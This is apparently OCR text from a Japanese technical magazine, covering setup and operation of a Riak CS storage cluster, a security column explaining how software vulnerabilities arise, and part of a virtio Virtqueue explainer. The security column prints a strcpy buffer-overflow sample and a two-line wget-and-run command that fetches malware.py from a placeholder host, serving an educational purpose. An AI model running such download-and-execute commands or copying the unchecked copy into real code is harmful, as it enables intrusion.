ユーザの作成や、バケットの作成と削除は
Stanchionにいったんアクセスする。データは
すべてRiakにあるので、このプロセスはいつで
も起動、停止、増設、を簡単に行うことができる。
　自宅で使うのであれば、トラフィックはそこ
まで大きくないだろうから、Riak CSのプロセス
は1つで十分だろう。Riak CSのプロセスが1つ
しかないなら図2中のロードバランサも不要だ。

● Stanchion
　ユーザの作成や、バケットの作成と削除など
強い一貫性を必要とする操作をシリアライズす
る役割を持ったサービス。操作をシリアライズ
しなければならないので、1つのCSクラスタ
につき同時に1プロセスだけ上がっていなけれ
ばならない。データはすべてRiakにあるので、
このプロセスはいつでも起動・停止を簡単に行
うことができる。
　Stanchionは必ず1プロセスだけ起動してい
なければならないため、冗長化が難しい。ただ
し、Stanchionが停止していてもユーザ作成、
変更とバケットの作成・変更ができなくなるだ
けでその他の基本的なデータ操作は可能だ。し
たがって、自宅でコストをかけずに運用するな
ら1プロセスだけを、Riak CSか何かが入って
いるマシンと共存させるのが良いだろう。

キャパシティ設計と運用コスト

　ストレージシステムで最も大切なのがコスト
パフォーマンスである。Riakでは、コンパクショ
ンなどのために各ノードのデータパーティショ

ンで20％程度のマージンを設けておく必要が
ある。さらに、データを三重化して保持するた
め、実際の容量効率は、たとえば30TBの容量
が欲しければ、

30TB × 3 × 
1

0.80
  112.5TB

となり、120TB程度のディスクを確保すれば
よいことになる。たとえば3TBのディスクを
40枚用意できればよい。たいていのATXマザー
ボードはSATAポートが6個あるので、3TB

のHDDを6枚ずつ挿したマシンを7台用意す
ればよいことがわかる。
　ただし、Riakの最低動作台数は5台なので、
最初に必要な容量が少ないからといって2台や
3台で始めると多重故障の際にデータロストが
発生する危険があるので注意が必要だ。
　30TBをAmazon S3に保存すると月当たり
10円/GBで、何もデータの取り出しをしなく
ても月間30万円のコストがかかる注7。一方、7

台のマシンであれば、うまくやれば初期コスト
は70万円程度に抑えることができる。常時起
動していると7台分の電気代および冷却費はか
なりのものになるだろうが、うまく各種省電力
機能を利用したり、忙しくて長時間使用できな
いときは電源を切っておくなどの工夫次第で費
用を抑えることができるだろう。
　さらにコストパフォーマンスを重視するなら、
レプリカ数を3から2に減らした構成も可能だ。
この場合に必要なディスクのサイズは、

30TB × 2 × 
1

0.80
  75.0TB

となり、必要なディスクの量はおおまかに2/3

になる。レプリカ数を減らす際に気を付けなけ
ればならないことがあって、故障などでデータ
が消えることはないが、この場合は一部の可用
性が犠牲になる。

注7） 東京リージョンの標準価格は$0.010なので、単純に1ド
ル＝100円として計算した。

第3回
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　「世の中には、たった2種類のコンピュータ
しかない。壊れたコンピュータと、まだ壊れて
いないコンピュータだ」は有名な格言だが注8、故
障に限らずハードウェアのアップグレードなど
で必ず交換が必要になる。Riak CSはその点で
も非常に簡単で、たった2つのことさえ気をつ
ければ、わりと簡単にハードウェアの交換を行
うことができる。それは、

1. Stanchion は同時に必ず1プロセスだけ起動
する

2. コピーは3つなので、同時に3つのマシンを
失わないようにする

である。運用の際にこの2点さえ守っておけば
データを失ったり壊れることはない。
　Riak CS自体はローカルにデータを保存しな
いので、ここではおもにRiakの運用について
述べることにする。

ノード追加

　データが増加してきたと思ったら、Riakの
ノードを追加すればよい。手順は非常に簡単で、
Riak とRiak CSをインストール、セットアッ
プ（手順は後述）した後に次のコマンドを入力す
ればよい。

$ sudo riak start
$ sudo riak-admin cluster join ｭ
riak@10.0.0.1
$ sudo riak-admin cluster plan
$ sudo riak-admin cluster commit

　riak@10.0.0.1は、すでに稼働しているRiak

のいずれかの名前を指定する（この名前は各マ
シンの/etc/riak/vm.argsに書いてある）。これ
だけのコマンドで、データの再配置を自動で実

注8） 筆者がこれを見たのはNIIの佐藤一郎先生の講演資料だっ
たので、もしかすると佐藤先生のお言葉かもしれない。

行してくれる。もしも複数台追加する場合は、
joinまでを各ノードで実行して最後に一度だけ
どこかのノードでplan、commitを実行すれば
よい。

ハードウェア交換

　Riakは、マシンが故障したときの交換を簡
単にするように設計されている。基本的には、
壊れた部品を交換、必要に応じてクリーンイ
ンストールして再度クラスタに追加するだけ
である。
　ハードディスクが故障してデータが失われた
ときには、データを載せたハードディスクが故
障していてもOSなどが無傷なら、そのままハー
ドディスクを交換して再起動すればよい。ring 

というディレクトリがクラスタのメンバーシッ
プを記録しているので、それが残っていればそ
のまま使うことができる。
　ハードディスク以外の故障で、データが失わ
れていないとき――ここでいうデータとは、
Riakのapp.congでさまざまなデータ保存個所
を指定しているが、とくにstorage backendで
指定したデータディレクトリ（Riak CSの各種
メタデータやオブジェクトのデータそのもの）
に保存されている内容を指す。
　もしも細かい運用がたいへんであれば、新し
いマシンとしてクリーンインストールしてもよ
い。そのときにはなるべく異なる IPアドレス
を付けるか、ノードを追加する前に、

$ sudo riak-admin down riak@10.0.0.1
$ sudo riak-admin force-remove ｭ
riak@10.0.0.1
$ sudo riak-admin plan
$ sudo riak-admin commit

などとして、あらかじめそのノードをクラスタ
からなくしておくのがよい。
　Riak、Riak CSは多少のネットワーク故障が
あっても、アクセス可能な部分だけを使って動
作を継続できる。具体的にはGETはデータが
見つかる限り動作するし、PUTもほとんどが

システムの運用
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動作する注9。
　これは、RiakがCAP定理の中でもA（可用性）
を重視しているためである。C（一貫性）を重視
するほかのデータベースをメタデータ管理に利
用すると、ネットワーク機器の故障によってメ
タデータにアクセスできない場合はシステムを
使えなくなる。Riakではそういうことは起きない。
　ただし、Stanchionがないときは一部の操作
（ユーザ作成、バケット作成、バケット削除）が
できなくなるだけだ。極論すると、Stanchionは、
普段は停止したままにしておき、ユーザ作成や
バケット作成をするときだけ起動してもよい。

ソフトウェアアップグレード

　ここでは、Riak CSのアップグレードがいかに
簡単かを理解してもらうために、Debian GNU/

LinuxやUbuntu Linuxでの手順を紹介する。
　OSのアップグレードなど――RiakとRiak 

CSを止めて適当にローリングアップグレード
すればよい。同時に停止しているのが1、2台
であればほとんどの動作を継続可能だ。

● Riak のアップグレード

$ sudo riak stop
$ tar czf riak-backup.tgz /etc/riak
$ sudo aptitude safe-upgrade
$ sudo riak start

● Stanchion のアップグレード

$ sudo stanchion stop
$ tar czf stanchion-backup.tgz /etc/ ｭ
stanchion
$ sudo aptitude safe-upgrade
$ sudo stanchion start

注9） ユーザ作成など、Stanchionを通した強い一貫性が必要な
操作だけが動作しない。

● Riak CSのアップグレード

$ sudo riak-cs stop
$ tar czf riak-cs-backup.tgz /etc/riak-cs
$ sudo aptitude safe-upgrade
$ sudo riak-cs start

　これでアップグレードは完了である。Riak、
Riak CSは前後のバージョンへのアップグレー
ド、ダウングレードを保証しているので気軽に
ローリングアップグレードできる。うまく運用
すれば、ハードウェアとソフトウェアを交換し
つつ、サーバを増設しつつ、半永久的にクラス
タを稼働させ続けることができる。

　ここでも、Debian/GNU Linuxをベースに説
明する。Mac OS Xや他のLinuxディストリ
ビューションでの方法は読者の慣れたものに併
せて読み替えていただくか、Riakのインストー
ル手順注10を参照いただきたい。
　とりあえず始めたいという方にはFast Track注11

がよいだろう。
　まず、すべてのパッケージをインストールする。
Bashoが配布する公式のリポジトリがあるので、
図3のとおりリポジトリのセットアップとRiak、
Riak CS、Stanchionのインストールを行う。

Riak のセットアップ

　インストールが完了したら、まずRiakのセッ
トアップを行う。本格的なRiakのセットアッ
プやクラスタ化は7月号に詳しく解説したので

注10） http://docs.basho.com/riak/latest/tutorials/installation/

注11） http://docs.basho.com/riakcs/latest/riakcs-tutorials/
fast-track/

図3　Riak CS のインストール手順 ▼

$ curl http://apt.basho.com/gpg/basho.apt.key ¦ sudo apt-key add -
$ sudo bash -c "echo deb http://apt.basho.com $(lsb_release -sc) main \> /etc/apt/sources. ｭ
list.d/basho.list"
$ sudo apt-get update
$ sudo apt-get install riak riak-cs stanchion

セットアップ手順

第3回

http://docs.basho.com/riak/latest/tutorials/installation/
http://docs.basho.com/riakcs/latest/riakcs-tutorials/fast-track/
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そちらを参照いただきたいが、こちらでも概要
を説明する。まず、/etc/riak/app.config
にいくつかの設定と、listenするIPアドレスを
指定するだけでよい。次に、riak_coreのセ
クションに、

{default_bucket_props, [{allow_ ｭ
mult,true}]},

という1行を追加する。
　他にも、riak_kvのセクションで、

{storage_backend, riak_kv_bitcask_ ｭ
backend},

という1行を削除し、そこにリスト1の記述を
代わりに追加する。
　add_pathsで指定するディレクトリは実際
に各種beamファイルが入っているディレクト
リを確認していただきたい。CentOSなどであ
ればlibがlib64になっているかもしれない。
　この設定の大まかな意味は、Riak CS用のバッ
クエンド（eleveldbとのbitcaskを使い分けるこ
とができる）を設定し、おもにメタデータなどを
入れるデフォルトのバックエンドにはeleveldbを、
オブジェクトのブロックにはbitcaskを使うと
いう意味になる。
　これで1台構成のRiakの準備はほとんど完
了した。

　Riakを起動する。

$ sudo -u riak
$ ulimit -n 4096
$ riak start

Riak CSのセットアップと
最初のユーザの作成

　次にRiak CSのセットアップを行う。ロー
カル起動なら、デフォルトの/etc/riak-cs/
app.congのriak_csセクションに次の設定変
更を行う。

{anonymous_user_creation, true},

　インストールしたときはfalseになってい
るが、最初の管理ユーザを作成するためだけに
一時的に解除する。そして、プロセスを起動す
る。Stanchionもローカルのインストールでは
デフォルトのままでよいので、起動できる。

$ sudo stanchion start
$ sudo riak-cs start

　管理ユーザの作成は次のようにcurlを使う。

$ curl -H 'Content-Type: application/json' \
　　-X POST http://localhost:8080/riak-cs/
user \ ｭ
　　--data '{"email":"foobar@example.com", \ 
　　　　　　"name":"foo bar"}'

リスト1　 Riak CSの動作に必要なRiak（riak kvセクション）の設定 ▼

{add_paths,
　　["/usr/lib/riak-cs/lib/riak_cs-1.3.1/ebin"]},
{storage_backend, riak_cs_kv_multi_backend},
{multi_backend_prefix_list,
　　[{<<"0b:">>, be_blocks}]},
{multi_backend_default, be_default},
{multi_backend, [
　　{be_default, riak_kv_eleveldb_backend, [
　　　　{max_open_files, 50},
　　　　{data_root, "/var/lib/riak/leveldb"}
　　]},
　　{be_blocks, riak_kv_bitcask_backend, [
　　　　{data_root, "/var/lib/riak/bitcask"}
　　]}
]}
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　これが成功すると、作成されたユーザの
key_idとkey_secretが含まれるJSONが表
示されるので、それを保存し、Riak CSと
Stanchionのapp.configに次のように反映する。

{admin_key,
　"ORMJZ57B2HO6F-I6OYJE"},
{admin_secret,
　"qL4iyzyG4-rluHBErnXAVJ-qL0OBDjL_bN_ ｭ
Kig=="},

　また、このときにanonymous_user_creation
をfalseに戻しておく。設定変更を戻すため
にここでいったんRiak CSを再起動する。

$ sudo stanchion stop
$ sudo riak-cs stop
$ sudo stanchion start
$ sudo riak-cs start

　これでRiak CS がローカルから使用可能な
状態になった。
　また、この手順例ではStanchion とRiak CS

は同じサーバに起動していることが前提になっ
ている。もしStanchionがRiak CSと同居して
いない場合は、Stanchionの設定ファイル/etc
/stanchion/app.configのstanchion_ipを
サーバの IPアドレスに変更し、Riak CSの
app.configの stanchion_ipをStanchionが起
動しているサーバのIPアドレスにすればよい。

クライアントのセットアップ

　先ほどの手順で作成したユーザのkey_idと
key_secretがあれば、たいていのAmazon S3

クライアントをRiak CSに対して動作させる
ことができる。
　s3cmd注12であれば、.s3cfgの access_key、
key_secret、proxy_host、proxy_portを設
定すればよい。proxy_host、proxy_portに
はそれぞれlocalhostと8080を設定する注13。

注12） https://github.com/s3tools/s3cmd

注13） もしRiak CSを起動しているサーバに、他のマシンからア
クセスしたいのであればクライアント側のproxy_hostを
サーバの IPアドレスに変更し、/etc/riak-cs/app.
configのcs_ipを変更する。

これでs3cmdをS3に対するのと同様に使用で
きる。
　Riak CSのセットアップにはChefレシピも
あるので注14、これを参考にするとよいだろう。
　DragonDiskにはproxy_hostを設定する項
目がないので、自宅ネットワークでDNS のセッ
トアップが必要になるが、ここでは割愛する。
ドキュメントにドメインの設定方法注15が記載
されているので参照いただきたい。

　本稿では、Riak CSを用いたシステムの設計、
運用、利用について簡単に解説した。
また、本文で触れてはいないが、性能について
は家庭用の1Gb Ethernetのネットワークでは
そこがボトルネックになりやすいだろうが、読
者諸君がお持ちのハードウェアでぜひとも測っ
ていただきたい。ハードウェアに応じた性能が
出ることがわかるだろう。
　筆者の個人的な見解であるが、分散ファイ
ルシステムに類するものとしては、Riak CS

はかなり運用しやすいほうに分類できると思っ
ている。
　しかしながら、まだ3月にOSSとして公開
されたばかりの製品なので未熟なところも多く、
コミュニティに参加することでノウハウや課題
をさらに共有してほしい。Riak CSを使ってみ
て不明点があれば、riak-users-jp@lists.
basho.comという日本語メーリングリストが
あるので、ぜひとも参加して質問していただき
たい。ﾟ

注14） http://docs.basho.com/riakcs/latest/cookbooks/
installing/Riak-CS-Using-Chef/

注15） http://docs.basho.com/riakcs/latest/cookbooks/
configuration/Configuring-Riak-CS/#Proxy-vs-Direct-
Configuration

まとめ

第3回

https://github.com/s3tools/s3cmd
http://docs.basho.com/riakcs/latest/cookbooks/installing/Riak-CS-Using-Chef/
http://docs.basho.com/riakcs/latest/cookbooks/configuration/Configuring-Riak-CS/#Proxy-vs-Direct-Configuration
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今日のソフトウェアはあまりにも複雑過ぎて、その中に誤りが存在しないことを確信するのはほぼ不可
能です。たとえソフトウェアが完全でも、設定方法や実行環境に不備があれば、システムとしての動作
に誤りを抱えてしまうかもしれません。しかし、その誤りすべてが脆弱性として扱われるわけではあり
ません。その違いはどこにあるのでしょう。そして、ユーザはどうやって脆弱性と付き合っていけば良
いのでしょうか。今回はそれを考えてみたいと思います。

脆弱性という言葉

　1990年代中期までコンピュータの分野では、ほ
ぼ耳にしたことがない「脆弱性」という漢字3文字の
単語、これはどこからきた言葉なのでしょう。コン
ピュータセキュリティで使われているvulnerability

（ヴァルナラビリティ）の訳語を探していたとき、社
会学方面で使われていた「脆弱性」という言葉を借り
てきたところから始まります注1。
　脆弱性という言葉には広い意味がありますが、要
約するならば、「コンピュータシステムに存在する
瑕
か し

疵（誤り）を、意図を持った攻撃者が能動的に攻撃
し、それが成功可能な場合、その瑕疵を脆弱性と呼
ぶ」と表現することが一番近いかと思います。整理
すると、

①なんらかの潜在的な間違いがある

②意図を持ってその間違いを利用できる攻撃をする

③その攻撃が成功する

④成功することにより安全性が脅かされる

　ここまでは筆者による脆弱性の説明ですが、この
脆弱性（vulnerability）は、いろいろなところで、い

ろいろな説明や定義がなされています。内容には触
れませんが、メジャーなところではISO 27005、
IETF 2828、NIST SP800-30に脆弱性の定義があ
ります。どれも同じような内容ですが、微妙にニュ
アンスが違っていて少々やっかいです。
　また、システムですからいろいろな観点がありま
す。

●●ハードウェア
●●ソフトウェア
●●ネットワーク
●●運用（技術者によるもの）
●●利用（一般利用者によるもの）
●●施設（建物／電力供給）

　これらを説明し始めると、それだけで1冊の本が
できてしまうほどです。本稿では、この中のソフト
ウェアの脆弱性に絞って考えていきたいと思います。

ソフトウェアの脆弱性

　ソフトウェアの脆弱性とは、「ソフトウェアの間
違いが引き起こす現象（Software Failure）注2の中の
一部が、第三者によるセキュリティ侵害が可能なソ

みんなでもう一度見つめなおそう

セキュリティ実践の
基本定石
【第三回】 ソフトウェアの脆弱性ができるわけ

すずきひろのぶ 
suzuki.hironobu@gmail.com

注1）	 当時、セキュリティのドキュメントには、vulnerabilityの訳語には、ばらつきがありました。これでは問題があるので、何人かのセキュリ
ティ研究者が集まっていた場で、今後は「脆弱性」に統一しようということになったのです。以降、徐々に「脆弱性」という言葉に収束してい
きました。また、vulnerabilityは長いので、セキュリティ研究者は、文章中や口頭では使うVul（バル）という短い呼び方をしていました。

注2）	 Software Failureの訳語は「ソフトウェア故障」なのですが、故障という言葉が誤解を与える言葉ですので、本文ではソフトウェアの間違
いが引き起こす現象として説明しています。
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【第三回】 ソフトウェアの脆弱性ができるわけ

フトウェアの脆弱性（Software Vulnerability）とな
る」と定義できるかと思います。図1にあるとおり、
ソフトウェアの間違いが引き起こす現象のすべて
が、脆弱性にはつながるわけでありません。
　これまでは、十分なテストによって一定の品質を
保てば、ソフトウェアの間違いが引き起こす現象は
確実に少なくなり、その一定の割合であるソフト
ウェアの脆弱性も小さくなると仮定できました。
　しかしながら、攻撃側は意図を持ってソフトウェ
アの脆弱性を発見しようとするわけですから、これ
までの仮定が崩れます。つまり、「ソフトウェアの
十分なテストをもってすれば、ソフトウェア脆弱性
を（ソフトウェアの間違いが引き起こす現象と同様
に）十分に取り除ける」とは明確に言えなくなってき
ます。

脆弱性は
どこから発生するか

　ソフトウェアの修正が必要となる要因がどこで入
り込むのか、1985年の古典的な論文注3からひも解い
てみたいと思います。
　筆者がこの古い論文を使うわけをちょっとだけ説
明します。この論文はNASAおよび海軍研究所が
宇宙飛行研究のために作成したソフトウェアの記録
です。昔は、ウォーターフォール型開発モデルだっ
たので、各作業工程が明確です。フローチャート
（設計）を作り、フローチャートをプログラミング言
語で表現（コーディング）するといったように、今の
開発とは状況が違いますが、各作業段階が明確で、
問題の切り分けもしやすいです。
　さて、論文のデータによれば、ソフトウェアの間
違いが発生する工程の割合は表1のとおりです。
　コーディング段階での間違いは意外と少ないとい
うことに気づきます。ほとんどが設計段階に起因す
る問題です。
　C言語などのプログラムを書いたことがある人な
ら、プログラムの中で、あらかじめ定義した文字列
サイズ以上にデータを書き込み、プログラムが異常

終了する経験をしたことがあると思います。これは
ソフトウェアの脆弱性の中でも、バッファオーバー
フローに結びつきます。関数や変数にバイトサイズ
の大きいデータを送り込みメモリを侵食し、最後は
プログラムの実行自体を乗っ取ってしまう攻撃につ
ながる可能性があるものです。
　さて、この問題はどこの段階から起因しているの
でしょうか。多くの場合、コーディングミスととら
えがちですが、「文字列サイズの情報を用いてきち
んと入力チェックをしていなかった」という設計段
階での問題ととらえるほうが的確でしょう。
　表1は、間違いは設計段階で最も多く入り込むこ
とを示していますが、要求段階でも、仕様段階で
も、残りの段階でも入り込んでいます。どの段階か
らでもソフトウェアの脆弱性が入り込んでくる可能
性を示唆しています。つまり、ソフトウェアの脆弱
性を少なくしていくには、ソフトウェア開発のすべ
ての段階で品質を向上させなければいけないという
ことになります。事前にソフトウェアから脆弱性だ
けを見つけだし、それだけを排除するのはたいへん
難しいことがわかります。

注3）	 D.M. Weiss et al., “Evaluating Software Development by Analysis of Changes: Some Data from the Software Engineering 
Laboratory”,IEEE Transactions on Software Engineering,Vol.11,No.2,Feb.1985,pp.157-168

◆◆図1　ソフトウェアの間違いのすべてが脆弱性になるわけ
ではない

Software Failure
( ソフトウェアの間違いが引き起こす現象 )

Software Vulnerability
( ソフトウェアの脆弱性 )

◆◆表1　エラーの起因する段階

設計段階 57〜78％

仕様段階 3〜14%

言語（コーディング） 3〜8％

要求段階 2〜5％
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どれくらいの頻度で
発生するか

　次に、どれくらいの利用時間で間違いが発見され
るかを見ていきましょう。IBMの汎用機オペレー
ティングシステムのデータ注4によれば、CPUが
5000年実行して1回発見されるほどの割合です。
　この数字は研究によりいろいろと変わるでしょう
が、1つだけ確実なことは十分に慎重に作られたソ
フトウェアは、間違いが発見されることは稀

まれ

である
ことです。
　そこまで言っておきながらなんですが、コン
ピュータが100万台可動したとした場合、5000年分
実行するなどあっというまです。たとえ品質が1

桁、2桁あがったとしても、台数が多いのでやはり
あっというまです。このことから次の2つが導かれ
ます。

①自分で使う限りは、ソフトウェアの脆弱性として使

われてしまう可能性のある不具合に出会うことは極

めて稀である

②しかし、利用者全体でみた場合は、ソフトウェアの

脆弱性として使われてしまう可能性のある不具合は

稀ではない

　自分ではソフトウェアの脆弱性について認識する
ことがない一方で、世間ではソフトウェアの脆弱性
は常に発見されるという、自分の感覚と実際との差
異が生まれてしまいます。自分の利用範囲だけ見て
いては、「そんなにソフトウェアの脆弱性など現れ
るはずがない」と思ってしまいかねません。

ブラックボックステスト

　みなさんは「なぜそんなにソフトウェアの脆弱性
を探すことができるのだ」あるいは「オープンソース
のような中身が入手できるソフトウェアのほうが簡
単にソフトウェアの脆弱性を見つけられるので危険

だ」などと考えたことはないでしょうか。
　ソフトウェア工学のテスト技術の中で、まったく
中身（ソースコード）を見ることなくその機能が正し
く満たされているか、また、機能に不備がないかを
確認するテストがあります。ブラックボックステス
トと呼ばれ、「インテグレーションテスト」「ファン
クションおよびシステムテスト」「アクセプタンステ
スト」「リグレッションテスト」「ベータテスト」があ
ります。これらのテストは中身を知ることなくテス
トを行い、問題を抽出していきます。これはソフト
ウェアの開発プロセスでは標準的なテストで、特殊
なものではありません。これらのテスト内容は説明
しませんが、読者のみなさんには、このようなテス
ト技術があり、ソースコードの存在とは関係なくテ
ストができて、それを手がかりにソフトウェアの脆
弱性を見つけられるということを理解していただけ
ればと思います。
　なぜこのような説明をするかというと、マスコミ
はよく「天才ハッカーがコンピュータに侵入」注5な
とどはやし立て、あたかも魔法を使ったように騒ぎ
ますが、実際にはそんなことはないからです。
　ソフトウェアの脆弱性を発見するのは天才的なひ
らめきでも技術でもなく、テスト技法を使ったある
意味、正当な方法でのソフトウェアの脆弱性の取得
なのです。ただし、先ほど説明したとおり、ソフト
ウェアの脆弱性を見つけるのはテスト作業量に比例
するので、個人で見つけるよりもグループで見つけ
るほうが効率が良いでしょう。
　また、先に挙げたテスト技法はソフトウェアの脆
弱性発見のためだけではなく、ソフトウェアの潜在
的な誤りを少なくする作業であり、それ自体はソフ
トウェア品質を高めるために非常に重要な技術で
す。また、十分な時間を割いて行われるべき作業で
もあります。
　これはオープンソースであろうとクローズドでプ
ロプライエタリなものであろうと違いはありませ
ん。

注4）	 IBM Research Journal, 28, pp2-14, 1984　これも80年代の古い論文で、IBMの汎用機オペレーティングシステムの記録です。信頼
がおけるので参照します。

注5）	 このような行為を行う者はハッカー倫理を満たしていないので、クラッカー（破壊者）もしくはイントルーダー（侵入者）と呼ばれるべきです。
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【第三回】 ソフトウェアの脆弱性ができるわけ

最適化した任意の悪意のあるプログラムをダウン
ロードする機能が入っていることでしょう。こうな
れば、もうお手上げに近いです。

セキュリティアップデート
をしましょう

　みなさんにお願いしたいのは、セキュリティアッ
プデートをしていただきたいということです。
　コンピュータを使っていると頻繁にアップデート
がかかることは、すでにお気づきでしょう。これま
での説明のとおり、ソフトウェアの脆弱性は避けて
通ることができない問題なのです。発生するのもす
べて開発段階ですし、原因も極めて簡単なのです。
　すべてのユーザがこまめに実行環境を自分で整備
するというのが理想ですが、筆者がそれをしている
かというと、理想的な環境からはほど遠いもので
す。また、すべてのソフトウェアの脆弱性情報に目
を光らせて、対応しているかというと、一ユーザが
そこまで手間をかけることは極めてたいへんです。
　やはり、一番効果的なのはセキュリティアップ
デートに従うことなのです。そして、サーバを管理
している方々にもお願いです。セキュリティアップ
デートがかからなくなった古いディストリビュー
ションのシステムは、なるべく早く順次新しいディ
ストリビューションに切り替えてください。セキュ
リティの面を考えると、それがトータルで一番コス
トが低くなることでしょう。s

　中身を隠していようとも、以前より安定的に使わ

れてどれだけ時間が経っていようとも、ある日、あ

るとき、仕様段階や設計段階といった初期の段階に

起因するようなソフトウェアの脆弱性が突然現れる

ことを前提として、私たちはソフトウェアを使って

いかなければなりません。

ソフトウェアの
脆弱性のインパクトは？

　ここでは典型的なケースであるバッファオーバー
フローを例に用いて説明したいと思います。
　バッファオーバーフローは、バッファを超える
データを書き込み、帰り番地を書き換え、任意の
シェルコードを実行させることができるソフトウェ
アの脆弱性です。悪意のあるプログラムは、その
バッファオーバーフローが発生したプログラムの実
行権限を引き継いだ形で実行されます。この脆弱性
はたいへん多く、問題になっています。
　リスト1のC言語のコードを見てください。よく
見かける文字列コピーのサンプルコードです。関数
copy_a2b()の中でstrcpyをして変数aから変数bに
データをコピーしていますが、変数aの文字サイズ
を考慮していません。変数bにバッファオーバーフ
ローのコードを与えることができるという潜在的な
ソフトウェアの脆弱性を持っています。これだけで
脆弱性の原因になってしまうのです。
　では、その先に何が行われるのでしょうか。たと
えばwgetを使い、小さなコントロール用のプログ
ラムをダウンロードし、それを実行するというのが
定番です。
　図2の例はPythonで書いたマルウェアを送り込
み、それを実行するスクリプトです。こんな2行程
度のものがバッファオーバーフローから実行され、
システムに侵入されてしまうのです。おそらく
malware.pyには外部と通信し、さらにシステムに

◆◆図2　マルウェアを送り込んで実行するスクリプト

◆◆リスト1　潜在的にバッファオーバーフローの脆弱性を持
つコード

#include <string.h>
void *copy_a2b(char *a)
{
  char b[12];
  strcpy(b,a);
}
void main() {
  copy_a2b("abc");
}

wget -q -O /tmp/...i  http://xxx.example.com/malware.py

   ↑xxx.example.comサイトからプログラムmalware.pyをダウンロードしファイル/tmp/...iに格納 
python  /tmp/...i     ←/tmp/...iを実行 



128 - Software Design Sep.  2013 - 129

ちゃんと理解する仮想化技術ちゃんと理解する仮想化技術
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浅田 拓也（ASADA Takuya）Twitter @syuu1228

virtioによる準仮想化デバイス
その2「Virtqueueとvirtio-netの実現」

第12回

　前回は、ゲストOSのI/Oパフォーマンスを大き
く改善する「virtio」準仮想化ドライバの概要と、virtio
のコンポーネントの1つである「Virtio PCI」につい
て解説しました。今回はVirtqueueとこれを用いた
NIC（virtio-net）の実現方法について見ていきます。

　virtioは、大きく分けてVirtio PCIとVirtqueueの
2つのコンポーネントからなります。Virtio PCIはゲ
ストマシンに対してPCIデバイスとして振る舞い、
次のような機能を提供します。

・ デバイス初期化時のホスト⇔ゲスト間ネゴシエー

ションや設定情報通知に使うコンフィギュレー

ションレジスタ

　これを利用してキュー長やキュー数、キューのア
ドレスなどを通知する、

・ 割り込み（ホスト→ゲスト）、I/Oポートアクセス（ゲ

スト→ホスト）によるホスト⇔ゲスト間イベント通

知機構

・ 標準的なPCIデバイスのDMA機構を用いたデータ

転送機能

があります。
　Virtqueueはデータ転送に使われるゲストメモリ

空間上のキュー構造です。デバイスごとに1つまた
は複数のキューを持つことができます。たとえば、
virtio-netは送信用キュー・受信用キュー・コントロー
ル用キューの3つを必要とします。ゲストOSは、
PCIデバイスとしてvirtioデバイスを検出して初期
化し、Virtqueueをデータの入出力に、割り込みと
I/Oポートアクセスをイベント通知に用いてホスト
に対してI/Oを依頼します。本稿では、Virtqueueに
ついてより詳しく見ていきましょう。

　Virtqueueは送受信するデータをキューイング先
のDescriptorが並ぶDescriptor Table、ゲストから
ホストへ受け渡すdescriptorを指定するAvailable 

Ring、ホストからゲストへ受け渡すdescriptorを指
定するUsed Ringの3つからなります（図1）。
　Descriptor Table・Available Ring・Used Ringのエ
ントリ数はVirtio PCIデバイスの初期化時にVirtio 

headerのQUEUE_NUMへ設定した値で決められ
ます。
　また、Virtqueueの領域はページサイズ注1へアライ
ンされている必要があります。1つのVirtqueueは片
方向の通信に用いられます。このため、双方向通信
をサポートするには2つのVirtqueueを使用する必
要があります。通信方向によって、Available Ringと
Used Ringの使われ方が異なります。

注1） ページサイズ＝4KB

はじめに

virtioのおさらい
Virtqueue
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　Descriptor TableはDescriptorがQUEUE_NUM

個注2並んでいる配列です。Descriptorはデータ転送を
行う都度動的にアロケートされるのではなく、
Descriptor Table内の空きエントリを探して使用し
ます。空きエントリを管理する構造はVirtqueue上
にないため、ゲストドライバは空きDescriptorを記
憶しておく必要があります（後述）。

注2） Virtio HeaderのQUEUE_NUMで指定する。

　Descriptorは転送するデータ1つに対して1つ使
われ、データのアドレス、データ長などが含まれま
す（表1）。
　データのアドレスはゲスト上の物理アドレスが用
いられるため、仮想アドレス上で連続する領域でも
物理ページがばらばらな場合、物理ページごとに
Descriptorが1つ必要です。
　このように複数のDescriptorを連続して転送した
い場合には、nextで次のDescriptorの番号を指定し
てfl agsに0x1をビットセットします。

　ある種のvirtioデバイスは多数のdescriptorを消費
するリクエストを大量に並列に発行することによ
り、性能を向上させることができます。
　これを可能にするのがIndirect Descriptorです。
Descriptorのflagsに0x4が指定された場合、addrは
Indirect Descriptor Tableのアドレスを、lenは
Indirect Descriptor Tableの長さ（バイト数）を示すよ
うになります。
　Indirect Descriptor TableはDescriptor Tableと同
様、Descriptorの配列になっています。Indirect 

Descriptor Tableに含まれるDescriptorの数は
len/16個になります注3。
　それぞれのデータはIndirect Descriptor Table上
のDescriptorへリンクされます。

　Available Ringはゲストからホストへ渡したい

注3） 1つのDescriptorの長さが16bytesであるため。

type member description
u64 addr データのアドレス（ゲスト物理アドレス）
u32 len データ長

u16 fl ags フラグ（0x1: 次のDescriptorがあるかどうか／0x2: ホストから見てWrite Onlyの
Descriptorかどうか／0x4: Indirect Descriptorかどうか）

u16 next 次のDescriptor番号

▼表1　Descriptorの構造

▼図1　Virtqueueの構造

Descriptor Table

Indirect Descriptor

Available Ring

Descriptor Table

descriptor
descriptor
descriptor

…
…

…
Available Ring

flags
idx

idx

available

used
used
used

available
available

used_event

avail_event

Used Ring

flags

Data

Data
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Descriptorを指定するのに使用します（表2）。ゲス
トはリング上の空きエントリへDescriptor番号を書
き込んで idxをインクリメントします。idxは単純に
インクリメントし続ける使い方が想定されているた
め、リング長を超える idx値が指定された時は idxを
リング長で割った余りをインデックス値として使用
します。
　ホストは最後に処理したリング上のエントリの番
号を記憶しておき（後述）、idxと比較して新しいエン
トリが指しているDescriptorを処理します。

　Used Ringはホストからゲストへ渡したい
Descriptorを指定するのに使用されます（表3）。
　構造と使用方法は基本的にAvailable Ringと同じで
すが、リング上のエントリの構造がAvailable Ringと
異なり、連続するDescriptorを先頭番号（id）と長さ
（len）で範囲指定するようになっています（表4）。

　Virtqueueを用いてデータ転送を行うために、

Virtqueueに含まれない次の変数が必要です。

● ゲストドライバ

　・ free_head……空きDescriptorを管理するため、

空きDescriptorの先頭番号を保持

　・ last_used_idx……最後に処理したUsed Ring上

のエントリの番号

● ホストドライバ

　・ last_avail_idx……最後に処理したAvailable 

Ring上のエントリの番号

　ゲストからホストへデータを転送するために、
Descriptor Table・Available Ring・Used Ringをどの
ように使うかを次に示します（図2）。
　この方向のデータ転送では、Available Ringは転送
データを含むDescriptorの通知に使われ、Used Ring

は処理済みDescriptorの回収に使われます。

 ゲストドライバ
